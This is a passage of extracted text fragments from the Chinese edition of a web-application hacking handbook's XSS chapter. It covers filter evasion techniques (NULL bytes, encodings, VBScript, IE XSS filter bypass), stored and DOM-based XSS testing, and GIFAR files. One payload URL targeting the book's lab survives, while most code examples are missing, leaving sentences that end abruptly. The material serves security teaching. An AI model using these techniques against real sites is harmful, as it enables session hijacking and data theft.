    {"text": "4．避开基于签名的过滤 在第一种类型的过滤中，应用程序通常会对攻击字符串做出与无害字符串截然不同的响应，例如，通过一条错误消息，甚至会指出发现一个可能的XSS攻击，如图12-8所示。"},
    {"text": "脚本标签 除直接使用<script>标签外，还可以通过各种方法、使用复杂的语法来隐藏标签，从而避开某些过滤： 上例中的基于Base64的字符串为： √ 事件处理器 有大量事件处理器可与各种标签结合使用，以用于执行脚本。"},
    {"text": "这包括使用autofocus属性自动触发之前需要用户交互的事件： 它允许在结束标签中使用事件处理器： 最后，HTML5还通过事件处理器引入了新标签： √ 脚本伪协议 脚本伪协议可用在各种位置，以在需要URL的属性中执行行内脚本。"},
    {"text": "与之前的任何HTML5标签不同，它的名称中包含一个连字符，因此，使用这个标签可以避开传统的、认为标签名称只能包含字母的基于正则表达式的过滤。"},
    {"text": "以下示例可以在IE7及其早期版本上执行，如果在兼容模式下运行，还可以在后续版本上执行： 最新版本的IE不再支持上述语法，因为这些语法只能用在XSS攻击中。"},
    {"text": "但是，在最新版本的IE中，使用以下请求可以达到同样的效果： 使用Firefox浏览器可以通过moz-binding属性实施基于CSS的攻击，但是，由于应用程序已 对这一功能实施了限制，现在已经无法通过它来实施XSS攻击。"},
    {"text": "√ 标签名称 从起始标签名称开始，只需改变所使用字符的大小写，即可避开最简单的过滤： 更进一步，可以在任何位置插入NULL字节： （在以上示例中，[％ XX ]表示十六进制ASCII代码 XX 的原义字符。"},
    {"text": "在XSS攻击中灵活使用NULL字节通常可以快速避开不探查IE行为的基于签名的过滤。 事实证明，使用NULL字节可以有效避开配置为阻止包含已知攻击字符串的请求的Web应用程序防火墙（WAF）。 为了提高性能，WAF通常以本地代码编写，因此，NULL字节将终止在其中出现的字符串。"},
    {"text": "更进一步，如果你对上面示例中的标签名称稍做修改，就可以使用任意标签名称引入事件处理器，从而避开仅仅阻止特定标签名称的过滤： 有时，可以引入不同名称的新标签，但却找不到使用这些标签直接执行代码的方法。"},
    {"text": "<base>标签用于指定一个URL，浏览器应使用该URL解析随后在页面中出现的任何相对URL。 如果可以引入一个新的<base>，并且页面执行反射点后的任何使用相对URL的<script>，则你就可以指定一个指向受你控制的服务器的基本URL。"},
    {"text": "√ 标签名称后的空格 一些字符可用于替代标签名称与第一个属性名称之间的空格： 需要注意的是，即使在实施攻击时不需要任何标签属性，仍然应始终在标签名称后面添加一些多余的内容，因为这样做可以避开一些简单的过滤： √ 属性名称 也可以在属性名称中使用上述NULL字节技巧。 这样做可以避开许多试图通过阻止以on开头的属性名称来阻止事件过滤器的简单过滤： √ 属性分隔符 在最初的示例中，属性值之间并未分隔开来，因而需要在属性值后面插入一些空格，表示属性值已结束，以便于添加其他属性。 属性可以选择使用双引号或单引号进行分隔，或在IE上使用重音符分隔： 前面的示例提供了另一种方法，可用于避开一些检查以on开头的属性名称的过滤器。 如果过滤器不知道重音符被用作属性分隔符，它会将下面的示例视为仅包含一个属性，其名称不再为事件处理器的名称： 通过使用引号分隔的属性，并在标签名称后面插入异常字符，就可以设计出不需要使用任何空格的攻击，从而避开一些简单的过滤："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/search/69/ http://mdsec.net/search/72/ http://mdsec.net/search/75/ √ 属性值 在属性值中，可以使用NULL字节技巧。"},
    {"text": "还可以使用HTML编码的字符，如下所示： 在进一步处理属性值之前，浏览器会对其进行HTML解码，因此，可以使用HTML编码对脚本代码进行模糊处理，从而避开任何过滤。"},
    {"text": "例如，以下攻击避开了许多试图阻止JavaScript伪协议处理器的过滤： 在使用HTML编码时，值得注意的是，浏览器接受规范的各种变体，甚至可能忽略过滤器“意识到”的HTML编码问题。"},
    {"text": "以下示例至少可以用在一种浏览器中： √ 标签括号 有些时候，通过利用奇怪的应用程序或浏览器行为，甚至可以使用无效的标签括号，并且仍然使浏览器按攻击所需的方式处理相关标签。"},
    {"text": "一些应用程序在应用输入过滤后还执行不必要的URL解码，因此，请求中的以下输入 被应用程序服务器进行URL解码，然后将以下输入传递给应用程序： 其中并不包含任何标签括号，因此不会被输入过滤阻止。"},
    {"text": "如第2章所述，如果应用程序框架基于字形和发音的相似性，将不常见的Unicode字符“转换”为它们最接近的ASCII字符，这时可能会出现与上述示例类似的情况。"},
    {"text": "例如，以下输入使用Unicode双角引号（％u00AB和％u00BB），而不是标签括号： 应用程序的输入过滤可能会允许该输入，因为其中并不包含任何有问题的HTML。"},
    {"text": "在这种情况下，可以通过使用多余的括号（如果浏览器接受）来避开过滤： 某些情况下，可以利用浏览器的HTML解析器的异常行为来实施攻击，从而避开应用程序的输入过滤。"},
    {"text": "例如，以下HTML使用了ECMAScript for XML(E4X)，其中并不包含有效的起始脚本标签，但仍然可以在当前版本的Firefox中执行包含的脚本： 提示 在上述用于避开过滤的各种技巧中，实施攻击的HTML虽然存在缺陷，但仍被客户端浏览器所接受。"},
    {"text": "下面的示例说明了字符串<script>alert(document.cookie)</script>的一些非标准编码表示法： UTF-7 US-ASCII UTF-16 这些编码后的字符串可避开许多常见的反XSS过滤。"},
    {"text": "例如，假设应用程序的响应中返回了以下两段用户输入： 对于input1，应用程序会阻止包含引号的输入，以防止攻击者终止引用的属性。 对于 input2，应用程序会阻止包含尖括号的输入，以防止攻击者使用任何HTML标签。"},
    {"text": "这种过滤似乎较为可靠，但是，攻击者可以通过使用以下两个输入来实施攻击： 在Shift-JIS字符集中，各种原始字节值（包括0xf0）用于表示由该字节及随后的字节组成的2字节字符。"},
    {"text": "因此，浏览器在处理input1时，0xf0字节后面的引号将被解释为一个2字节字符的一部分，而不是属性值的分隔符。 HTML解析器将继续运行，直到到达input2提供的引号位置（该引号终止了属性），从而允许攻击者提交将作为其他标签属性解释的事件处理器： 在广泛使用的字符集UTF-8中发现这种漏洞时，浏览器供应商发布了一个补丁，阻止了相关攻击。"},
    {"text": "√ 使用 JavaScript转义 JavaScript允许各种字符转义，可以通过这种方式避免包含原义格式的表达式。 Unicode转义可用于表示JavaScript关键字中的字符，从而避开许多类型的过滤： 如果能够使用eval命令（通过利用之前介绍的技巧来转义它的某些字符），就可以将其他命令以字符串格式传送给eval命令，从而执行这些命令。"},
    {"text": "在JavaScript字符串中，可以使用Unicode转义、十六进制转义和八进制转义： 此外，字符串中的多余转义字符将被忽略： √ 动态构建字符串 可以使用其他技巧来动态构建在攻击中使用的字符串： 上面的示例可在Firefox上执行，可以通过它解码Base64编码的命令，然后将其传递给eval。"},
    {"text": "√ 替代eval的方法 如果无法直接调用eval命令，可以通过其他方法以字符串格式执行命令： √ 替代圆点 如果圆点被阻止，可以使用以下方法解引用： √ 组合多种技巧 到现在为止，我们介绍的各种技巧通常都可以组合使用，以对攻击进行多层模糊处理。"},
    {"text": "在下面的示例中，alert中的e字符使用Unicode转义方法进行了转义，并且Unicode转义中使用的反斜线经过了HTML编码： 当然，还可以对onerror属性值中的任何其他字符进行HTML编码，以进一步隐藏攻击： 使用这种技巧可以避开许多针对JavaScript代码的过滤，因为可以避免使用任何JavaScript关键字或其他语法，如引号、句号和括号。"},
    {"text": "值得注意的是，如前面的示例所示，在VBScript中，一些函数无须使用括号即可调用。 如果过滤机制认为必须使用括号才能访问函数，就可以通过使用VBScript来避开这些过滤。"},
    {"text": "如果你所攻击的应用程序函数会修改输入的大小写，如将其转换为大写，这时VBScript就特别有用。 虽然应用程序将输入转换为大写的做法主要是出于功能而不是安全考虑，但这样做却可以挫败使用JavaScript代码的XSS攻击，因为转换为大写后，代码将无法执行。 与之相反，使用VBScript代码的攻击仍然有效： √ 组合JavaScript和VBScript 为进一步增加攻击的复杂程度，并避开某些过滤，可以从JavaScript中调用VBScript，或从VBScript中调用JavaScript： 甚至可以嵌套这些调用，并根据需要使用任何一种语言： 如上所述，VBScript不区分大小写，即使输入被转换为大写，你的代码仍然可以执行。 在这些情况下，如果你确实希望调用JavaScript函数，可以使用VBScript中的字符串操纵函数用所需的大/小写构建一个命令，并使用JavaScript执行该命令： √ 使用经过编码的脚本 在Internet Explorer上，可以使用Microsoft的定制脚本编码算法来隐藏脚本的内容，从而避开 某些输入过滤： 这种编码最初旨在用于防止用户通过查看HTML页面的源代码来轻松访问客户端脚本。"},
    {"text": "这时，应用程序对攻击字符串执行某种净化或编码，使其变得无害，防止它执行JavaScript。 对传送攻击所需的某些关键字符进行HTML编码（因此 < 变成 ，> 变成 ）是应用程序实行数据净化最常见的做法。"},
    {"text": "通过以上述各种方式修改输入，就可以设计出不包含任何被过滤净化的字符或表达式的攻击，因而能够成功避开过滤。 如果只有使用已被净化的输入才能实施攻击，这时就需要测试净化过滤的效率，以确定是否可找到任何避开过滤的方法。"},
    {"text": "因此，如果输入中的<script>被删除，则应尝试以下输入，以查看是否所有实例均被删除： 在这种情况下，还应检查过滤是否以递归方式执行净化： 此外，如果过滤对输入执行多个净化步骤，则应检查是否可以对这些步骤之间的顺序或相互关系加以利用。 例如，如果过滤递归删除<script>，然后递归删除<object>，以下攻击或许能够取得成功： 当在现有的一段脚本中注入一个引用字符串时，应用程序经常在注入的引号字符前插入反斜线字符。"},
    {"text": "如果发现反斜线字符被正确转义，但尖括号却按原样返回，那么攻击者可以使用以下攻击字符串： 这样做可废弃应用程序中原来的脚本，并在其后注入一段新的脚本。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/search/48/ http://mdsec.net/search/52/ 提示 在前面的两个攻击中，即使攻击者能够控制一段脚本，但由于应用程序对单引号或双引号进行了转义，他也无法使用它们，但可以使用string.fromCharCode技巧，不用分隔符创建字符串。"},
    {"text": "如果注入的脚本位于事件处理程序之内，而非完整的脚本块，则可以对引号进行HTML编码，以避开应用程序的净化，并使受控制的字符串免于被过滤。 例如，如果可以控制以下输入中的foo值： 并且应用程序正确转义输入中的引号和反斜线，则可以成功实施以下攻击： 这导致以下响应，由于一些浏览器在将事件处理程序作为JavaScript执行之前会执行HTML解码，因此该攻击取得成功： 应对用户输入进行HTML编码来防范XSS攻击，对于这一常规建议，应注意以下事实：在作 为JavaSrcipt执行之前，事件处理器会被HTML解码。"},
    {"text": "例如，如果注入现有的一段代码，下面的28字节命令将把用户的cookie传送至主机名为a：的服务器。 另外，如果直接注入HTML，那么下面这个30字节的标签将从主机名为a：的服务器加载并执行一段脚本。"},
    {"text": "以下面的URL为例： https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal 它将返回一个包含以下内容的页面： 假设应用程序对每个字段实施了长度限制，以阻止在其中插入有效的攻击字符串。"},
    {"text": "但是攻击者仍然可以使用以下URL将一段脚本分布到他所控制的三个位置，从而传送一个有效的攻击字符串： 这个URL的参数值植入到页面中后，生成如下脚本： 最终得到的HTML完全有效，等同于加粗显示的部分。"},
    {"text": "另一方面，seed参数的长度没有限制，因此应用程序对其实施严格的过滤，以防止攻击者在其中注入\"<或>字符。 在这种情况下，尽管开发者实施了过滤，但攻击者不使用任何被阻止的字符，仍然能够在seed参数中插入一段任意长度的脚本，因为注入到周围字段中的数据可以建立JavaScript环境。"},
    {"text": "例如，在最初的反射型XSS漏洞中，如果应用程序对复制到返回页面中的message参数设置长度限制，那么就可以注入以下45字节的脚本，它对当前URL中的片断字符串（fragment string）求值。 通过在易于受到反射型XSS攻击的参数中注入这段脚本，可以在生成的页面中造成一个基于DOM的XSS漏洞，从而执行位于片断字符串中的另一段脚本，它不受应用程序过滤的影响，可为任意长度。"},
    {"text": "整个URL将作为有效的JavaScript执行，因为http:协议前缀作为代码标签，协议前缀后面的//则作为单行注释，％OA经过URL解码后将变为换行符，表示结束注释。"},
    {"text": "7．实施有效的XSS攻击 通常，在探查潜在的XSS漏洞，以了解并避开应用程序的过滤机制时，你往往是在浏览器以外进行测试，也就是使用Burp Repeater之类的工具重复发送相同的请求，每次对请求进行略微修改，然后测试这种修改对响应的影响。"},
    {"text": "将攻击扩展到其他应用程序页面 假如你所确定的漏洞位于你不感兴趣的应用程序区域，只影响未经过验证的用户，而其他区 域则包含真正敏感的数据和你希望攻破的功能。 通常，在这种情况下，设计一个可以通过应用程序的某个区域中的XSS漏洞传送，并且在用户的浏览器中持续存在的攻击有效载荷，就可以攻破同一个域中的目标数据或功能。"},
    {"text": "请参阅以下URL了解这种攻击的一个示例： http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html 错误观点 “我们不用担心站点中未通过验证部分的XSS漏洞，攻击者不可能利用它们来劫持会话。"},
    {"text": "其次，即使用户尚未通过验证，攻击者仍然可以通过提交几个请求，在受害者的浏览器中注入某种木马功能，等待用户登录，然后劫持用户的会话。"},
    {"text": "修改请求方法 假如你确定的XSS漏洞使用POST请求，但实施攻击的最便捷的方法需要使用GET请求——例如，提交一个论坛贴子，其中包含针对易受攻击的URL的IMG标签。"},
    {"text": "通过cookie利用XSS漏洞 一些应用程序包含反射型XSS漏洞，攻击这种漏洞的进入点在请求cookie中。 在这种情况下，可以通过各种技巧来利用这种漏洞： 和修改请求一样，应用程序可能允许你使用与cookie同名的URL或主体参数来触发漏洞。 如果应用程序包含任何可用于直接设置cookie值的功能（例如，基于提交的参数值设置cookie的首选项页面），则你可以设计一个跨站点请求伪造攻击，在受害者的浏览器中设置所需的cookie。 然后，再诱使受害者提出以下两个请求：其中一个请求用于设置包含XSS有效载荷所需的cookie，另一个请求则用于请求以危险的方式处理cookie值的功能。"},
    {"text": "如果上述任何方法都无法成功实施攻击，你可以利用相同（或相关）域中的任何其他反射型XSS漏洞使用所需值设置一个永久性cookie，持续对受害用户进行攻击。"},
    {"text": "例如，攻击者可以诱使受害者请求他们的服务器上的URL，该URL中包含针对易于攻击的应用程序的适当XSS有效载荷。 然后，攻击者的服务器将返回一个响应，以请求上述URL，而攻击者的有效载荷就包含在此请求的Referer消息头中。 在某些情况下，只有在Referer消息头包含与易受攻击的应用程序同属一个域的URL时，XSS漏洞才会触发。"},
    {"text": "虽然HTML5正在对 XMLHttpRequest进行修改，以便于站点指定其他可能与它们交互的域，但是，如果你能够找到允许第三方交互的目标，就可以采用更简单的方法来攻破该目标（请参阅第13章了解详细信息）。"},
    {"text": "例如，如果所需的XML如下所示： 则可以使用以下表单发送这些数据： 要在param参数的值中包含常用的攻击字符，如标签尖括号，你需要在XML请求中对这些字符进行HTML编码。"},
    {"text": "提示 只要你能够将等号合并到请求中的某个位置，就可以使用这种技巧跨域提交几乎包含任何类型的内容（如JSON编码的数据和序列化二进制对象）的请求。"},
    {"text": "例如，在下面的JSON数据中，注释字段被用于注入所需的等号字符： 在使用这种技巧时，唯一需要注意的地方是，生成的请求将包含以下消息头： 正常情况下，根据生成请求的具体方式，最初的请求本应包含一个不同的Content-Type消息头。"},
    {"text": "如果应用程序接受提供的Content-Type消息头并正常处理消息主体，则在设计有效的XSS攻击时就可以使用这种技巧。 如果由于Content-Type消息头已修改，应用程序无法正常处理请求，则可能没有办法跨域传送适当的请求来触发类似于XSS的行为。 提示 如果在包含非标准内容的请求中确定了类似于XSS的行为，首先应该快速确定，在将Content-Type消息头更改为text/plain后，这种行为是否仍然存在。"},
    {"text": "√ 从XML响应中执行JavaScript 在尝试利用非标准内容中的类似于XSS的行为时，你需要克服的第二个障碍是找到一种操纵响应的方法，使其在由浏览器直接处理时能够执行你的脚本。"},
    {"text": "例如，在Firefox处理以下响应时，注入的脚本将得以执行： 如上所述，如果响应由浏览器直接处理，而不是由通常处理响应的原始应用程序组件处理时，此攻击将取得成功。"},
    {"text": "攻击浏览器XSS过滤器 在利用几乎任何反射型XSS漏洞时总是会遇到一个障碍，即各种浏览器功能都针对XSS攻击为用户提供了保护。 Internet Explorer浏览器默认包含一个XSS过滤器，其他一些浏览器也通过插件的形式提供类似的功能。 这些过滤器的工作方式基本类似：它们被动监视请求和响应，并使用各种规则来确定正在进行的潜在XSS攻击，一旦确定潜在攻击，就修改响应的某些部分来阻止这些攻击。"},
    {"text": "而且，某些浏览器提供XSS过滤器并不意味着不需要修复XSS漏洞。 在某些现实情况下，攻击者可能恰恰需要通过包含XSS过滤器的浏览器来利用某个漏洞。"},
    {"text": "关于IE XSS过滤器，需要指出的第一个问题是：大体而言，它能够有效阻止利用XSS漏洞的标准攻击，从而为任何尝试实施这类攻击的攻击者设置了很大的障碍。"},
    {"text": "通常，如果应用程序包含任何行为，允许攻击者在由其他用户查看的页面中注入任意链接，这种攻击即成为可能（虽然这本身也属于反射型攻击，但XSS过滤器仅尝试阻止注入的脚本，而不是注入的链接）。"},
    {"text": "例如，在ASP.NET中，如果查询字符串包含： 传递给应用程序的参数 pl的值为： 与之相反，即使参数的名称相同，但IE XSS过滤器仍然会单独处理每个参数。"},
    {"text": "这种行为差异使得攻击者能够轻松在几个相同名称的“不同”请求参数之间传递XSS有效载荷，从而避开针对每个单独的值的黑名单过滤（因为服务器已将它们串联起来）。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 当前，以下XSS攻击可成功避开IE XSS过滤器： http://mdsec.net/error/5/Error.ashx?message=<scr％00ipt％20&message=> alert('xss')</script> 再次，通过利用该过滤器净化应用程序响应中的脚本代码的方式，可以实施通过其他方法无法实施的攻击。之所以会出现这种情况，主要是因为该过滤器以被动方式运行，仅寻找类似脚本的输入与类似脚本的输出之间的关联。它无法对应用程序进行交互性探查，以确定给定输入是否与给定输出相关联。因此，攻击者可以利用该过滤器净化在响应中出现的应用程序自身的脚本代码。如果攻击者在请求参数值中包含一部分现有脚本，IE XSS过滤器在请求和响应中发现相同的脚本代码，它就会修改响应中的脚本，以阻止该脚本执行。 事实证明，在某些情况下，净化现有脚本将改变包含用户输入反射的响应的后续部分的语法情境。这种情境的改变意味着应用程序自身对反射型输入的过滤不充分。因此，攻击者可以利用用户输入反射来实施XSS攻击（如果IE XSS过滤器没有修改响应，这种攻击将无法成功）。但是，能够实施这类攻击的情形通常与不常用的功能或早期版本的IE XSS过滤器中披露的缺陷（已修复）有关。 更重要的是，由于攻击者可以选择性地净化应用程序自身的脚本代码，因此，他们可以利用这种“能力”，通过破坏应用程序安全相关的控制机制来实施全然不同的攻击。一个常见的示例是删除防御性的framebusting代码（请参阅第13章了解详细信息），但其他大量示例主要与在客户端执行关键的安全防御任务的应用程序专用代码有关。 12.3.2 查找并利用保存型XSS漏洞 确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程有很多相似之处，都包括在应用程序的每一个进入点提交一个特殊字符串。但是，这两个过程之间也存在一些重要的区别。在进行测试时，必须记住这些区别，以确定尽可能多的漏洞。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）向应用程序中的每一个可能的位置提交一个特殊的字符串后，必须反复检查应用程序的全部内容与功能，确定这个字符串在浏览器中显示的任何情况。"},
    {"text": "在某个位置（例如，个人信息页面的姓名字段）输入用户控制的数据，这个数据可能会在应用程序的许多不同位置显示（例如，用户主页上、注册用户列表中、任务等工作流程项目中、其他用户的联系列表中、用户提交的消息或问题中、应用程序日志中等）。"},
    {"text": "在保存被提交的数据之前，许多应用程序功能需要经历几个阶段的操作。 例如，注册新用户、处理购物订单、转账等操作往往需要按预定的顺序提交几个不同的请求。"},
    {"text": "例如，如果应用程序的搜索功能显示常用的搜索项列表，就可以通过多次搜索这个列表，引入保存型XSS有效载荷，即使主搜索功能本身安全地处理输入。"},
    {"text": "如果在每个页面的每一个参数提交相同的测试字符串，那么你可能会发现，这个字符串在应用程序的许多位置重复出现，因而无法准确确定每个出现的字符串由哪个参数负责。"},
    {"text": "为避免出现这个问题，在探查保存型XSS时，可以为每个参数提交一个不同的测试字符串，例如，把测试字符串与它提交到其中的字段名称连接起来。"},
    {"text": "1．在Web邮件应用程序中测试XSS 如前所述，由于Web邮件应用程序将直接从第三方收到的内容包含在向用户显示的应用程序页面中，因此，这种程序本身就存在着保存型XSS攻击风险。 要测试这种功能，应该在该应用程序上创建自己的电子邮件账户，并通过电子邮件向自己实施大量XSS攻击，然后在该应用程序中查看每封邮件，确定是否有任何攻击取得成功。"},
    {"text": "如果仅限于使用标准电子邮件客户端，你可能会发现，无法完全控制原始的邮件内容，或者邮件客户端可能会净化或“清除”你有意设计的畸形语法。"},
    {"text": "在消息主体中测试各种XSS有效载荷和避开过滤的机制时，也可以尝试指定不同的Content-Type和charset： 2．在上传文件中测试XSS 如果应用程序允许用户上传可被其他用户下载并查看的文件，就会出现保存型XSS漏洞；"},
    {"text": "在文件上传过程中，应用程序可能会检查文件内容，以确认其是否为所需的格式，如JPEG。 在文件下载过程中，应用程序可能会返回Content-Type消息头，以指定文件所包含的内容的类型，如image/jpeg。 在文件下载过程中，应用程序可能会返回Content-Disposition消息头，以指定浏览器应将文件保存到磁盘上。 否则，对于相关的内容类型，应用程序会处理并在用户的浏览器中显示文件。"},
    {"text": "混合文件攻击 通常，为防范上述攻击，应用程序会对上传文件的内容执行某种确认，以确保其确实包含所需格式的数据，如图像。 但是，使用“混合文件”（在一个文件中组合两种不同的格式）仍然可以对这些应用程序实施攻击。"},
    {"text": "GIFAR文件包含GIF图像格式和JAR（Java档案）格式的数据，并且是这两种格式的有效实例。 这是因为，与GIF格式相关的文件元数据位于文件的开始部分，与JAR格式相关的元数据则位于文件的结尾部分。 因此，如果应用程序允许包含GIF数据的文件，那么，在确认上传文件的内容时，该应用程序也会接受GIFAR文件。"},
    {"text": "在该外部网站上，攻击者使用<applet>和<object>标签从上述社交网络站点以Java applet的形式上传GIFAR文件。 如果用户访问该外部站点，攻击者的Java applet将在其浏览器中执行。"},
    {"text": "如果受害用户在受到攻击时已登录该社交网络应用程序，或者最近曾登录该应用程序并选中了 “保持登录状态”（stay logged in）选项，则攻击者的applet将完全控制受害用户的会话，从而侵入该用户。"},
    {"text": "例如，应用程序的页面中可能包含以下链接： http://wahh-app.com/#profile 当用户单击此链接时，客户端脚本将处理单击事件，使用Ajax来检索在片段标识符之后显示的文件，并在现有页面中的<div>元素的innerHtml中设置响应。"},
    {"text": "在这种情况下，如果应用程序还包含其他允许上传和下载图像文件（如用户头像）的功能，你就可以上传一个包含嵌入式HTML标记的有效图像文件，并构建以下URL，使客户端代码提取该图像并将其作为HTML显示： http://wahh-app.com/#profiles/images/15234917624.jpg HTML可以嵌入到有效图像文件的各种位置，包括图像的注释部分。"},
    {"text": "在这种情况下，另一种可能的攻击方法，是在片段标识符后面放置一个绝对URL，指定一个位于可与目标域进行Ajax交互的服务器上的、完全由攻击者控制的外部HTML文件。"},
    {"text": "12.3.3 查找并利用基于DOM的XSS漏洞 使用以下方法无法确定基于DOM的XSS漏洞：提交一个特殊的字符串作为每个参数，然后监控响应中是否出现该字符串。 确定基于DOM的XSS漏洞的基本方法是，用浏览器手动浏览应用程序，并修改每一个URL参数，在其中插入一个标准测试字符串，例如： 通过在浏览器中显示每一个返回的页面，可以执行所有客户端脚本，并在必要时引用经过修改的URL参数。"},
    {"text": "即使应用程序可能易于受到精心设计的攻击，但如果插入标准测试字符串仍不能得到有效的语法，那么嵌入式JavaScript将不会执行，因此也不会有对话框出现。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 使用在应用程序解析过程中得到的结果（请参阅第4章了解相关内容），检查每一段客户端JavaScript，看其中是否出现以下API，它们可用于访问通过一个专门设计的URL控制的DOM数据： document.1ocation document.URL document.URLUnencoded document.referrer window.location 确保检查出现在静态HTML页面及动态生成的页面中的脚本，无论页面为何种类型，或者是否有参数被提交给页面，任何使用脚本的位置都可能存在基于DOM的XSS漏洞。 在每一个使用上述API的位置，仔细检查那里的代码，确定应用程序如何处理用户可控制的数据，以及是否可以使用专门设计的输入来执行任意JavaScript。尤其注意检查并测试控制 的数据被传送至以下任何一个API的情况： document.write() document.writeln() document.body.innerHtml eval() window.execScript() window.setInterval() window.setTimeout() 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/error/18/ http://mdsec.net/error/22/ http://mdsec.net/error/28/ http://mdsec.net/error/31/ http://mdsec.net/error/37/ http://mdsec.net/error/41/ http://mdsec.net/error/49/ http://mdsec.net/error/53/ http://mdsec.net/error/56/ http://mdsec.net/error/61/ 和查找反射与保存型XSS漏洞时一样，应用程序可能会执行各种过滤，尝试阻止相关攻击。通常，这些过滤应用于客户端，因此，可以直接查看其确认代码，以了解其工作机制，并尝试确定任何避开过滤的方法。上文介绍的用于避开针对反射型XSS攻击的过滤技巧在此处同样适用。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/error/92/ http://mdsec.net/error/95/ http://mdsec.net/error/107/ http://mdsec.net/error/109/ http://mdsec.net/error/118/ 某些情况下，服务器端应用程序可能会实施旨在阻止基于DOM的XSS攻击的过滤。即使客户端出现易受攻击的操作，服务器并不在响应中返回用户提交的数据，但是URL仍然被提交给了服务器；因此，当应用程序检测到恶意有效载荷时，它会对数据进行确认，且不会返回易受攻击的客户端脚本。 如果遇到这种防御，渗透测试员应该尝试使用前面在查找反射型XSS漏洞时描述的每一种可能避开过滤的攻击方法，测试服务器数据确认机制的可靠性。除这些攻击外，还有几种专门针对基于DOM的XSS漏洞的技巧可用于帮助攻击有效载荷避开服务器端确认。 当客户端脚本从URL中提取参数值时，它们很少将查询字符串正确解析成名/值对。相反，它们通常会在URL中搜索后面紧跟着等号（=）的参数名称，然后提取出等号以后直到URL结束位置的内容。这种行为能够以两种方式加以利用： 如果服务器根据每个参数而不是整个URL应用确认机制，那么可以将有效载荷插入到附加在易受攻击的参数后面的一个虚构的参数中。例如： 这时，虚构的参数被服务器忽略，因此不会受到任何过滤。但是，因为客户端脚本在查询字符串中搜索message=，并提取其后的全部内容，所以它处理的字符串中正好包含该有效载荷。 如果服务器对整个URL而不仅仅是消息参数应用确认机制，仍然可以将有效载荷插入到HTML片断字符#的右边，从而避开过滤。例如： 这时，片断字符串仍然属于URL的一部分，因此被保存在DOM中，并由易受攻击的客户端脚本处理。但是，由于浏览器并不将URL中的片断部分提交给服务器，因此攻击字符串不会传送到服务器中，因而不会被任何服务器端过滤所阻止。因为客户端脚本提取message=后面的全部内容，所以有效载荷仍然被复制到HTML页面源代码中。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/error/76/ http://mdsec.net/error/82/ 错误观点 “我们检查每个用户请求中是否存在嵌入式脚本标签，因此不可能受到XSS攻击。” 除避开过滤是否可行外，现在可以找到3个原因证明这种看法并不正确。 在一些XSS漏洞中，攻击者控制的数据被直接插入到现有的JavaScript脚本中，因此攻击者不需要使用任何脚本标签，或采用其他方法引入脚本代码。在其他情况下，仍然不需要使用任何脚本标签，只需注入一个包含JavaScript的事件处理器即可。 如果应用程序接受通过带外通道传送的数据，并在它的Web界面中显示这些数据，那么攻击者不用使用HTTP提交任何恶意有效载荷，就可以利用任何保存型XSS漏洞。 针对基于DOM的XSS漏洞的攻击不需要向服务器提交任何恶意有效载荷。如果使用片断技巧，那么有效载荷将始终位于客户端。 一些应用程序使用更加复杂的客户端脚本，对查询字符串进行更加严格的解析。例如，它在URL中搜索后面紧跟着等号的参数名称，然后提取等号后面的内容，直到遇到一个分隔符，如&或#。在这种情况下，可以对前面的两个攻击进行如下修改： 在这两个示例中，第一个message=后面紧跟着攻击字符串，其中没有任何干扰脚本执行的分隔符，因此攻击有效载荷将得到处理，且被复制到HTML页面源代码中。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/error/79/ 有时候，基于DOM的数据经过了非常复杂的处理，仅通过静态审查JavaScript源代码可能很难追踪用户控制的数据采用的不同路径以及对它进行的各种操作。在这种情况下，使用JavaScript调试器动态监控脚本的执行情况可能会有很大帮助。Firefox浏览器的FireBug扩展是一款用于监控客户端代码与内容的优秀调试器，可用于设置断点、监视感兴趣的代码与数据，为我们了解复杂脚本的执行过程提供了极大的便利。 错误观点 “我们很安全，因为Web应用程序扫描器没有发现任何XSS漏洞。” 第19章将会介绍，一些Web应用程序扫描器能够发现大多数常见的漏洞，包括XSS漏洞。但是，很显然，许多XSS漏洞很难检测出来，发现它们可能需要进行大量探查与试验。就目前而言，还没有任何自动工具能够准确确定所有这些漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 12.4 防止XSS攻击 尽管XSS的表现形式各异，利用方法各不相同，但从概念上讲，防止这种漏洞实际上相当简单。预防它们之所以存在困难，主要在于我们无法确定用户可控制的数据以潜在危险的方式被处理的每一种情况。任何应用程序页面都会处理并显示一些用户数据。除核心功能外，错误消息与其他位置也可能产生漏洞。因此，XSS漏洞普遍存在也就不足为奇了，即使在最为注重安全的应用程序中也是如此。 由于造成漏洞的原因各不相同，一部分防御方法适用于反射型与保存型XSS漏洞，而另一些则适用于基于DOM的XSS漏洞。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 12.4.1 防止反射型与保存型XSS漏洞 用户可控制的数据未经适当确认与净化就被复制到应用程序响应中，这是造成反射型与保 存型XSS漏洞的根本原因。"},
    {"text": "由于数据被插入到一个HTML页面的源代码中，恶意数据就会干扰这个页面，不仅修改它的内容，还会破坏它的结构（影响引用字符串、起始与结束标签、注入脚本等）。"},
    {"text": "1．确认输入 如果应用程序在某个位置收到的用户提交的数据将来有可能被复制到它的响应中，应用程序应根据这种情形对这些数据执行尽可能严格的确认。"},
    {"text": "2．确认输出 如果应用程序将某位用户或第三方提交的数据复制到它的响应中，那么应用程序应对这些数据进行HTML编码，以净化可能的恶意字符。"},
    {"text": "一些经常造成问题的字符的HTML编码如下： \"——\" '——' &——& <—&md&;< >——> 除这些常用的编码外，实际上，任何字符都可以用它的数字ASCII字符代码进行HTML编码，举例如下： %——% *——* 应该注意，在将用户输入插入到标签属性值中时，浏览器会首先对该值进行HTML解码，然后执行其他处理。"},
